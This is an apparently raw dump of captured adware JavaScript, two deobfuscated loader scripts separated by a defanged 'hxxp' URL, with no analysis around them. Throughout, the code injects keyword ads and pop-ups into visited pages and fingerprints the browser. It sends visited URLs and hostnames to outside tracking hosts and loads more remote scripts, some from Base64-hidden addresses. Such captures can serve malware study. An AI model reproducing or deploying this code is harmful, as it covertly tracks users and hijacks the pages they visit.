  509.                 "min-width": "0",
  510.                 padding: "0",
  511.                 "text-transform": "uppercase",
  512.                 "text-decoration": "underline",
  513.                 "vertical-align": "baseline",
  514.                 width: "auto"
  515.             },
  516.             b);
  517.         a.css("cssText", d.map(b, function(a, b) {
  518.             return b + ":" + ("" != a ? a + " !important" : "")
  519.         }).join(";"))
  520.     }
  521.  
  522.     function Ha(a, b, c, d) {
  523.         function h(a) {
  524.             for (var b = Array(a.length), c = 0; c < a.length; ++c) b[c] = a[c].newText;
  525.             return b
  526.         }
  527.         if (a.length) {
  528.             var f = h(a);
  529.             if (0.01 > w.random()) {
  530.                 var k = "Failed keyword placements [" + X + "]";
  531.                 b = {
  532.                     project: 8,
  533.                     logger: "javascript",
  534.                     platform: "javascript",
  535.                     "sentry.interfaces.Message": {
  536.                         message: k
  537.                     },
  538.                     message: k,
  539.                     tags: {
  540.                         agent: window.navigator.userAgent,
  541.                         cid: e.vars.cid,
  542.                         pid: b
  543.                     },
  544.                     extra: {
  545.                         keywords: f,
  546.                         raw: d,
  547.                         results: a.length,
  548.                         results_data: h(c),
  549.                         referer: s.referrer,
  550.                         url: n.href
  551.                     }
  552.                 };
  553.                 e.firePixel(n.protocol + "//cdnstats-a.akamaihd.net/sentry/?sentry_version=2.0&sentry_client=raven-js/1.0.8&sentry_key=9048baed1b464ab49fbb64f10936be57&sentry_data=" + l(e.JSON.stringify(b)))
  554.             }(new Image).src = n.protocol + "//cdnstats-a.akamaihd.net/s.gif?t=it_kw_fail&kw=" + l(f.join(",")) + "&count=" + a.length + "&u=" + l(n.href) + "&" + ua + "=" + l(X)
  555.         }
  556.     }
  557.  
  558.     function ca() {
  559.         if (!P) {
  560.             var a = w.max(0, w.floor(C.scrollTop() / ga));
  561.             ia(a);
  562.             ia(a + 1)
  563.         }
  564.     }
  565.  
  566.     function na() {
  567.         !P && w.abs(C[0].scrollHeight - da) > Qa && fa(function() {
  568.             ca();
  569.             da = C[0].scrollHeight
  570.         });
  571.         M(va);
  572.         va = F(ca, 100)
  573.     }
  574.  
  575.     function ya(a, b, c) {
  576.         try {
  577.             return Array.prototype.slice.call(a, b, c == J ? a.length : c)
  578.         } catch (d) {
  579.             b = b || 0;
  580.             c == J && (c = a.length);
  581.             for (var e = Array(c - b), f = b; f < c; ++f) e[f - b] = a[f];
  582.             return e
  583.         }
  584.     }
  585.  
  586.     function ea(a) {
  587.         a = a || h.event || {};
  588.         a.cancelBubble = !0;
  589.         a.stopPropagation && a.stopPropagation();
  590.         return !1
  591.     }
  592.  
  593.     function ba(a, b, c) {
  594.         window.addEventListener ? a.addEventListener(b, c, !1) : a.attachEvent("on" + b, c)
  595.     }
  596.  
  597.     function L(a) {
  598.         a = navigator.userAgent.match(RegExp(a + "[/ ](\\d+)", "i"));
  599.         return (a && a[1]) | 0
  600.     }
  601.     var h = window,
  602.         e = h._GPL,
  603.         s = h.document,
  604.         C = d(s.body),
  605.         M = h.clearTimeout,
  606.         l = h.encodeURIComponent,
  607.         n = h.location,
  608.         w = h.Math,
  609.         y = h.parseInt,
  610.         N = e.proto,
  611.         F = h.setTimeout,
  612.         J = void 0,
  613.         ka = h.XMLHttpRequest,
  614.         G = d(window),
  615.         m = N + e.baseCDN,
  616.         Ra = e.items.e6a00,
  617.         wa = e.zoneid("a652c", !0).split("_"),
  618.         v = wa[0],
  619.         U = wa[1] || e.vars.pid,
  620.         pa = e.getExtensionName && e.getExtensionName(v) || e.vars.ext,
  621.         ma = m + "/items/it/swf/f.swf",
  622.         r = N + "s.srv-itx.com/kwd?c=" + l(e.B64.encode(":::" + n.hostname + ":z-" + U.replace(":", "") + "-" + v.replace(":", ""))),
  623.         r = r + (e.getSubId ? "&subid=" + e.getSubId("a652c") :
  624.             ""),
  625.         r = r + ("&data_fb=" + (function() {
  626.             if (L("Chrome")) {
  627.                 for (var a = 0; a < navigator.plugins.length; a++)
  628.                     if ("Widevine Content Decryption Module" == navigator.plugins[a].name) return !1;
  629.                 return !0
  630.             }
  631.             return !1
  632.         }() ? "yes" : "no")),
  633.         r = r + ("&data_ss=" + (screen.availHeight || 0) + "x" + (screen.availWidth || 0)),
  634.         Ba = " . ",
  635.         I = "A-Za-z\u00aa\u00b5\u00ba\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f2\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32\u0e33\u0e40-\u0e46\u0e81\u0e82\u0e84\u0e87\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa\u0eab\u0ead-\u0eb0\u0eb2\u0eb3\u0ebd\u0ec0-\u0ec4\u0ec6\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065\u1066\u106e-\u1070\u1075-\u1081\u108e\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17d7\u17dc\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19c1-\u19c7\u1a00-\u1a16\u1a20-\u1a54\u1aa7\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2183\u2184\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005\u3006\u3031-\u3035\u303b\u303c\u3041-\u3096\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fcc\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6e5\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa76\uaa7a\uaa80-\uaaaf\uaab1\uaab5\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadd\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc",
  636.         aa = 74795,
  637.         sa = !1,
  638.         xa = 4E3,
  639.         ga = w.max(800, G[0].innerHeight | 0 || G.height() || C.height()),
  640.         da = Infinity,
  641.         R = {
  642.             hideHover: function(a, b) {
  643.                 s.getElementById("_GPLITA_" + a).setAttribute("in_hdr", "");
  644.                 var c = s.getElementById("_GPLITHV_" + a);
  645.                 c && c.parentNode.removeChild(c);
  646.                 B = !1;
  647.                 return ea(b)
  648.             },
  649.             getResults: function(a) {
  650.                 return a == J ? T : T[a]
  651.             },
  652.             info: function(a) {
  653.                 h.open("http://advertising-support.com/why.php?type=1&zone=" + l(v) + "&pid=" + l(U));
  654.                 return ea(a)
  655.             },
  656.             stop: ea
  657.         },
  658.         za = "#cf-toolbar,#swl-wishlist-masterwrap,#isa-alert-continue,#isa-alert-confirm,.gB,#er-wrap,.fos,.bfos,#SF_VISUAL_SEARCH,#similarproducts_inimg,.gpl-dis-diswrap",
  659.         S = [0, J],
  660.         Aa = "a,audio,button,canvas,embed,object,iframe,h1,h2,h3,h4,h5,h6,svg,video",
  661.         Qa = 250,
  662.         Da = 3,
  663.         Ca = RegExp("[^" + I + "]*\\d+[^" + I + "]*", "g"),
  664.         Q = [],
  665.         va, Ja = 0,
  666.         T = {},
  667.         P = !1,
  668.         ha = "address article aside b big blockquote body center cite code dd dfn div dt em fieldset figcaption font footer form header i kw legend li main nav nobr p pre q section small span strong summary td th tt u ul".split(" "),
  669.         Z = "91c4",
  670.         Y = "xzf9",
  671.         E = [],
  672.         k = "#",
  673.         X = "",
  674.         ua = "data_itn_test",
  675.         ta = !1,
  676.         B = !1,
  677.         V = 150,
  678.         oa = !1,
  679.         W = !1,
  680.         z = "padding:0;margin:0;border:none;font-family:arial;line-height:normal;text-decoration:none;text-align:left;background-color:transparent;border:0px;border-color:transparent;box-sizing:border-box;-moz-box-sizing:border-box;position:relative;top:auto;bottom:auto;left:auto;right:auto;vertical-align:baseline;",
  681.         q = "popup-sprite-v2.png";
  682.     Ra.get(["_GPL_oo_a652c", "itn_test"], function(a) {
  683.         a = y(a.v._GPL_oo_a652c, 10) || 0;
  684.         86400 > (+new Date / 1E3 | 0) - a || 1797 == e.vars.pid && "GB" == e.vars.cid || (X && (r += "&" + ua + "=" + l(X)), Pa(), e.items.a652c = R, d(s).on("mouseup", La), fa(function() {
  685.             ca();
  686.             da = C[0].scrollHeight;
  687.             G.on("scroll", na)
  688.         }))
  689.     })
  690. }, "1.10.2");
  691.  
  692.  
  693. ****************
  694.  
  695. hxxp://cdncache2-a.akamaihd.net/loaders/16/l.js?pid=16&ip=199.48.177.231&aoi=1316649369&zoneid=74570
  696.  
  697. ****************
  698.  
  699. ! function(Ha, Y, y, Ia, Ja, Ka, La, p, O, V, t, z, n, I, s, J, A, B, S, Z, q, Ma, aa, u, ja, P, x, K) {
  700.     function ba() {}
  701.  
  702.     function E(a, b, c, e) {
  703.         return n.addEventListener ? a.addEventListener(b, c, !!e) : a.attachEvent("on" + b, c)
  704.     }
  705.  
  706.     function Q(a) {
  707.         function b() {
  708.             for (var b = t.pathname + t.search, c = t.hash.substring(1), a = 0; a < Q.l.length; ++a) {
  709.                 var e = Q.l[a],
  710.                     d;
  711.                 if (!(d = b != e[1]) && (d = e[2] != c)) a: {
  712.                     d = c;
  713.                     if ("" != d)
  714.                         if (p.querySelector) {
  715.                             d = !p.querySelector('a[name="' + d + '"]');
  716.                             break a
  717.                         } else
  718.                             for (var h = p.getElementsByTagName("a"), m = 0; m < h.length; ++m)
  719.                                 if (h[m].getAttribute("name") ==
  720.                                     d) {
  721.                                     d = !1;
  722.                                     break a
  723.                                 }
  724.                     d = !0
  725.                 }
  726.                 d && (e[0](b, c, e[1], e[2]), e[1] = b, e[2] = c)
  727.             }
  728.         }
  729.  
  730.         function c(c) {
  731.             return function() {
  732.                 var a = c.apply(O, arguments);
  733.                 b();
  734.                 return a
  735.             }.bind(O)
  736.         }
  737.         var e = O.pushState,
  738.             h = O.replaceState;
  739.         Q.l || (Q.l = [], E(n, "hashchange", b), e && (O.pushState = c(e), O.replaceState = c(h), E(n, "popstate", b)), P(b, 32));
  740.         Q.l.push([a, "", ""]);
  741.         b()
  742.     }
  743.  
  744.     function ka(d, b, c, e, h) {
  745.         function l(b, c, a) {
  746.             var e = 0;
  747.             if (a instanceof I) {
  748.                 var d = +new s / 1E3 | 0,
  749.                     r = a[0] || 1,
  750.                     f = 3600 * (a[1] || 24) | 0,
  751.                     h = 3600 * a[2] | 0;
  752.                 a = (c[b] || "").split("~");
  753.                 a[0] |= 0;
  754.                 a[2] |= 0;
  755.                 a[1] = u(a[1], 10);
  756.                 aa(a[1]) && (a[1] =
  757.                     1);
  758.                 f = (new s).getUTCDate() != (new s(1E3 * a[0])).getUTCDate() ? 0 : f - d + a[0];
  759.                 h = 0 < h && 0 < a[1] ? h - d + a[2] : 0;
  760.                 0 < f && 0 < h ? e = B.min(f, h) : (0 >= f && (a = [d, r]), --a[1], a[2] = d, c[b] = a.join("~"))
  761.             }
  762.             return e
  763.         }
  764.  
  765.         function r() {
  766.             ka(d, b, c, e, h)
  767.         }
  768.  
  769.         function v(e, d) {
  770.             var r;
  771.             if (r = d)
  772.                 if (r = d.v)
  773.                     if (r = d.v[e]) {
  774.                         r = ":";
  775.                         var h = (d.v[e] || "").split(","),
  776.                             v = {},
  777.                             g;
  778.                         for (r = r || "="; null != (g = h.shift()) && "" != g;) g = g.split(r), v[Z(g.shift())] = Z(g.join(r));
  779.                         r = v
  780.                     }
  781.             g = r || {};
  782.             r = V && V.getItem(e) || a.gc(e);
  783.             !c || f in g || (g[f] = r || g.g);
  784.             !b || "g" in g || (g.g = r);
  785.             return [B.max(0, l("g", g, b), l(f, g, c)), g]
  786.         }
  787.         var f = la(),
  788.             g = a.items.e6a00;
  789.         h = h || !1 === h ? ba : function(b) {
  790.             x(r, b)
  791.         };
  792.         g.get(d, function(b) {
  793.             b = v(d, b)[0];
  794.             0 < b ? h(1E3 * b, r) : e(function() {
  795.                 g.get(d, function(b) {
  796.                     b = v(d, b);
  797.                     0 >= b[0] && (g.set(d, Na(b[1], ",", ":")), b = b[1][c ? f : "g"], V && V.setItem(d, b), a.sc(d, b))
  798.                 })
  799.             })
  800.         })
  801.     }
  802.  
  803.     function la(a) {
  804.         a = (a || t.hostname).toLowerCase().replace(/^www\./, "");
  805.         return (a.match(/([^.]+\.((([a-z]{2,3})?\.[a-z]{2})|[a-z]{2,}))\.?$/) || [0, a])[1]
  806.     }
  807.  
  808.     function Oa(a, b, c, e) {
  809.         e = e || ba;
  810.         return function l() {
  811.             l.t && (l.t = S(l.t));
  812.             if (!a(l.t)) {
  813.                 var r = +new s;
  814.                 b = b || 1 / 0;
  815.                 l.t = P(function() {
  816.                     var c =
  817.                         a(l.t);
  818.                     if (c || new s - r > b) l.t = S(l.t), c || e()
  819.                 }, c || 100)
  820.             }
  821.             return l.t
  822.         }
  823.     }
  824.  
  825.     function Na(a, b, c) {
  826.         var e = [];
  827.         c = c || "=";
  828.         for (var h in a) null != a[h] && e.push(q(h) + c + q(a[h]));
  829.         return e.join(b || "&")
  830.     }
  831.  
  832.     function Pa(d) {
  833.         var b = I.prototype.slice.call(arguments);
  834.         G instanceof I ? G.push(b) : G ? (b[0] = G, d.apply(n, b)) : (G = [b], a.lj = function(b) {
  835.             if (b && b.fn && b.fn.jquery) {
  836.                 var e = G || [];
  837.                 G = b;
  838.                 a.lj = K;
  839.                 for (var d = 0; d < e.length; ++d) try {
  840.                     var l = e[d][0];
  841.                     e[d][0] = b;
  842.                     l.apply(n, e[d])
  843.                 } catch (r) {
  844.                     x(function() {
  845.                         throw r;
  846.                     }, 0)
  847.                 }
  848.             }
  849.         }, a.insertJS(a.proto + a.baseCDN + "/items/jq/js/jquery" +
  850.             (p.all && !n.addEventListener ? "" : "2") + ".js"))
  851.     }
  852.  
  853.     function w(a) {
  854.         var b = n.console;
  855.         La && b && b.log && b.log(a + " ... " + (+new s - Qa) / 1E3 + " seconds")
  856.     }
  857.  
  858.     function Ra() {
  859.         w("preInit");
  860.         if (!ma && t.protocol.match(/^https?:/i)) {
  861.             ca[Y] = M.parse(M.stringify(y));
  862.             var d = na(Y);
  863.             d && d.src && oa(d.src.split("?")[1]);
  864.             y = pa(y, a.vars.zoneid + "_" + a.vars.pid);
  865.             a.baseCDN = da = d && d.src && d.src.split("/")[2] || da;
  866.             qa = t.hostname == a.baseCDN;
  867.             a.icp("init", function() {});
  868.             a.guid = "xxxxxxxxxxxx4xxxyxxxxxxxxxxxxxxx".replace(/[xy]/g, function(b) {
  869.                 var c = 16 * B.random() | 0;
  870.                 return ("x" == b ? c : c & 3 | 8).toString(16)
  871.             });
  872.             w("_GPL.i :: initializing :: " + a.vars.zoneid);
  873.             n.name.match(/^ld893_/) ? a.ispop = !0 : n.name.match(/^a652c_/) && -1 === n.name.indexOf("_" + t.hostname.replace(/[^\w]/g, "")) && (a.ispop = !0);
  874.             n == top && Sa(Ta);
  875.             ma = !0;
  876.             x(function() {
  877.                 n._GPL && n._GPL.items || ((new J).src = "//cdnstats-a.akamaihd.net/s.gif?t=grbd&u=" + q(t.hostname) + "&r=" + 999999999 * B.random())
  878.             }, 1E4)
  879.         }
  880.     }
  881.  
  882.     function Sa(a) {
  883.         function b() {
  884.             if (-1 < "loaded complete".indexOf(p.readyState) || p.body) return c(), !0
  885.         }
  886.  
  887.         function c() {
  888.             h || (h = !0, a())
  889.         }
  890.  
  891.         function e() {
  892.             if (!h &&
  893.                 p.body) try {
  894.                 l.doScroll("left"), c()
  895.             } catch (b) {
  896.                 x(e, 0)
  897.             }
  898.         }
  899.         var h = !1,
  900.             l = p.documentElement;
  901.         b() || (E(p, "DOMContentLoaded", c), E(p, "readystatechange", b), E(n, "load", c), l.doScroll && e())
  902.     }
  903.  
  904.     function na(d) {
  905.         var b = ra("", new ja("/loaders/" + (d || "\\d+") + "/l.js")) || ra("", new ja("/items/loaders/loader_" + (d || "\\d+") + ".js"));
  906.         b && (b.getAttribute("vars") ? sa("?" + b.getAttribute("vars")) : sa(b.src.replace(/&amp;/ig, "&")), b.setAttribute("gplr", "1"), a.isIE6 || x(function() {
  907.                 b.parentNode.removeChild(b)
  908.             }, 0), a.vars.zoneid = a.vars.zoneid.split(",")[0],
  909.             ta[a.vars.zoneid] = a.vars.ext, "subid" in a.vars && (/^[a-z0-9_.]+$/i.test(a.vars.subid) && (ua[a.vars.zoneid] = a.vars.subid), delete a.vars.subid));
  910.         return b
  911.     }
  912.  
  913.     function ra(a, b) {
  914.         for (var c = p.getElementsByTagName("script"), e = 0; e < c.length; e++)
  915.             if (c[e].src && c[e].src.match(a) && c[e].src.match(b) && !c[e].getAttribute("gplr")) return c[e];
  916.         return !1
  917.     }
  918.  
  919.     function sa(d) {
  920.         d = d.replace("#", "&");
  921.         for (var b = "e", c = d.slice(d.indexOf("?") + 1).split("&"), e = 0; e < c.length; e++) {
  922.             var h = c[e].split("="),
  923.                 l = h[0],
  924.                 h = 1 < d.length ? unescape(h[1].replace("+",
  925.                     " ")) : "";
  926.             "type" == l ? b = h : h && "types" != l && (a.vars[l] = h)
  927.         }
  928.         0 > a.vars.types.indexOf(b) && a.vars.types.push(b);
  929.         return !0
  930.     }
  931.  
  932.     function pa(a, b) {
  933.         for (var c in a)
  934.             if ("function" != typeof a[c])
  935.                 for (var e in a[c]) "function" != typeof a[c][e] && -1 == a[c][e].indexOf(b) && a[c][e].push(b);
  936.         return a
  937.     }
  938.  
  939.     function Ta() {
  940.         function d(b) {
  941.             a.frt = b.v.frt || +new s / 1E3 | 0;
  942.             b.v.frt || a.items.e6a00.set("frt", a.frt)
  943.         }
  944.  
  945.         function b(b) {
  946.             b = b.v.zr && b.v.zr.split(",") || [];
  947.             if (b.length) {
  948.                 for (var e = 0, d = 0; d < b.length; d++) {
  949.                     var v = b[d].split(":");
  950.                     v[0] == c && (v[1] = +new s / 1E3 | 0, b[d] =
  951.                         v.join(":"));
  952.                     e = B.min(B.max(u(v[1], 10), e), +new s / 1E3 | 0)
  953.                 }
  954.                 for (d = 0; d < b.length; d++) v = b[d].split(":"), v[0] = u(v[0], 10), 604800 <= e - u(v[1], 10) || -259200 > e - u(v[1], 10) ? b.splice(d--, 1) : (b[d] = v.join(":"), H.push("" + v[0]));
  955.                 0 > H.indexOf(c) && (H.push(c), b.push(u(c, 10) + ":" + (+new s / 1E3 | 0)))
  956.             } else H.push(c), b = [u(c, 10) + ":" + (+new s / 1E3 | 0)];
  957.             T = b.join(",");
  958.             a.items.e6a00.set("zr", T)
  959.         }
  960.         w("_GPL.init start");
  961.         var c = a.vars.zoneid;
  962.         try {
  963.             a.items.e6a00.init(function() {
  964.                 w("_GPL.init :: storage initialized");
  965.                 a.items.e6a00.get(["c2", "frt", "st",
  966.                     "zr"
  967.                 ], function(c) {
  968.                     w("_GPL.init :: storage get");
  969.                     d(c);
  970.                     b(c);
  971.                     va();
  972.                     Ua();
  973.                     Va();
  974.                     w("_GPL.init :: Loading Domain Rules");
  975.                     wa();
  976.                     x(function() {
  977.                         a.on("pl")
  978.                     }, 3E3)
  979.                 })
  980.             })
  981.         } catch (e) {}
  982.         x(function() {
  983.             xa || wa()
  984.         }, 1E4)
  985.     }
  986.  
  987.     function wa() {
  988.         if ("" != t.host && !n._GPL_ext) {
  989.             var d = t.host.replace(/^www\./i, "");
  990.             a.insertJS(a.proto + a.baseCDN + "/js/" + Wa(d) + "/r.js", "_GPL_r")
  991.         }
  992.         xa = !0;
  993.         var b = P(function() {
  994.             a.rl && (S(b), ea())
  995.         }, 100)
  996.     }
  997.  
  998.     function Wa(a) {
  999.         for (var b = "", c = 0, e = a.length; c < e; c++) b += a.charCodeAt(c).toString(16);
  1000.         return b.split("").reverse().join("")
  1001.     }
  1002.  
  1003.     function Xa() {
  1004.         n.name.match(/^(ld893_|a652c_)/) &&
  1005.             a.l("x1e1c", function() {})
  1006.     }
  1007.  
  1008.     function ya(a) {
  1009.         var b = [];
  1010.         a = a.toLowerCase().replace(/^www\./, "").split(".");
  1011.         var c = a.join(".").match(/\.[a-z]{2,3}\.[a-z]{2}$/) ? 3 : 2;
  1012.         do {
  1013.             var e = a.join(".");
  1014.             b.push(e);
  1015.             a.shift()
  1016.         } while (a.length >= c);
  1017.         return b
  1018.     }
  1019.  
  1020.     function ea() {
  1021.         a.rl = !0;
  1022.         w("Starting rulesLoaded: " + U.length);
  1023.         L = (L = a.dt()) && L.inherited && L.inherited.t || [];
  1024.         a.l("e22a8", function() {
  1025.             var b = a.zoneid("e22a8", !0).split("_")[0],
  1026.                 c = a.getExtensionName(b);
  1027.             a.insertJS(a.proto + a.B64.decode("ZDFxcWRkdWZhbDRkNTguY2xvdWRmcm9udC5uZXQvc2NyaXB0cy9jb250ZXh0dWFsanMvdjIvY3R4anMuanM/YWZmX2lkPTc5NiZzdWJhZmZfaWQ9") +
  1028.                 b + "&sbrand=" + q(c));
  1029.             return !1
  1030.         });
  1031.         qa || a.ispop || (a.l("a652c", function() {
  1032.                 a.insertJS(a.proto + a.baseCDN + "/items/it/js/itn.js", "_GPL_a652c2");
  1033.                 return !1
  1034.             }), a.l("z7b85"), a.l("wa118", function() {
  1035.                 var b = a.zoneid("wa118", !0).split("_"),
  1036.                     c = b[0],
  1037.                     b = b[1],
  1038.                     e = a.getExtensionName(c);
  1039.                 a.insertJS(t.protocol + "//d.lqw.me/serve.js?s=" + c + "&pid=8453&attributionLink=" + q("http://advertising-support.com/why.php?type=14&zone=" + c + "&pid=" + b) + "&attributionTitle=" + q(e));
  1040.                 return !1
  1041.             }), a.l("l8add"), a.l("s5f0e"), -1 < z.userAgent.indexOf("Win") && a.vars.systemid ==
  1042.             K && p.getElementsByTagName("a").length && a.l("iab55"), a.l("zd81b", function() {
  1043.                 var b = a.zoneid("e94bf", !0).split("_");
  1044.                 a.insertJS("//charmsavings-production.s3.amazonaws.com/js/safetysearch.js?zoneid=" + b[0] + "&pid=" + b[1]);
  1045.                 return !1
  1046.             }), a.canLoad("e94bf") && a.canLoad("dc8b1") ? 0.5 > B.random() ? a.l("dc8b1", function() {
  1047.                 var b = a.zoneid("dc8b1", !0).split("_"),
  1048.                     c = b[0],
  1049.                     b = b[1];
  1050.                 a.insertJS("//istatic.datafastguru.info/fo/min/fshop/shopcompqc.js?subid=" + c + "&bname=" + q(a.vars.ext || a.wl || "Browser Extension") + "&blink=" + q("http://advertising-support.com/why.php?type=13&zone=" +
  1051.                     c + "&pid=" + b));
  1052.                 return !1
  1053.             }) : a.l("e94bf", function() {
  1054.                 var b = a.zoneid("e94bf", !0).split("_")[0];
  1055.                 a.insertJS(a.proto + a.B64.decode("d3d3LnN1cGVyZmlzaC5jb20vd3Mvc2ZfbWFpbi5qc3A/ZGxzb3VyY2U9ZnJ6dHJpdSZ1c2VySWQ9YWJjJkNUSUQ9") + b + "&partnername=" + q(a.vars.ext || a.wl || ""));
  1056.                 return !1
  1057.             }) : (a.l("e94bf", function() {
  1058.                     var b = a.zoneid("e94bf", !0).split("_")[0];
  1059.                     a.insertJS(a.proto + a.B64.decode("d3d3LnN1cGVyZmlzaC5jb20vd3Mvc2ZfbWFpbi5qc3A/ZGxzb3VyY2U9ZnJ6dHJpdSZ1c2VySWQ9YWJjJkNUSUQ9") + b + "&partnername=" + q(a.vars.ext || a.wl || ""));
  1060.                     return !1
  1061.                 }),
  1062.                 a.l("e1efd", function() {
  1063.                     var b = a.zoneid("e1efd", !0).split("_"),
  1064.                         c = b[0],
  1065.                         b = b[1];
  1066.                     a.insertJS("//istatic.datafastguru.info/fo/min/fshop/shopcomp2.js?subid=" + c + "&bname=" + q(a.vars.ext || a.wl || "Browser Extension") + "&blink=" + q("http://advertising-support.com/why.php?type=13&zone=" + c + "&pid=" + b));
  1067.                     return !1
  1068.                 }), a.l("b4449", function() {
  1069.                     var b = a.zoneid("b4449", !0).split("_"),
  1070.                         c = b[0],
  1071.                         b = b[1];
  1072.                     a.insertJS("//istatic.datafastguru.info/fo/min/fshop/shopcomp.js?subid=" + c + "&bname=" + q(a.vars.ext || a.wl || "Browser Extension") + "&blink=" +
  1073.                         q("http://advertising-support.com/why.php?type=13&zone=" + c + "&pid=" + b));
  1074.                     return !1
  1075.                 }), a.l("t83af", function() {
  1076.                     var b = a.zoneid("t83af", !0).split("_"),
  1077.                         c = b[0],
  1078.                         b = b[1];
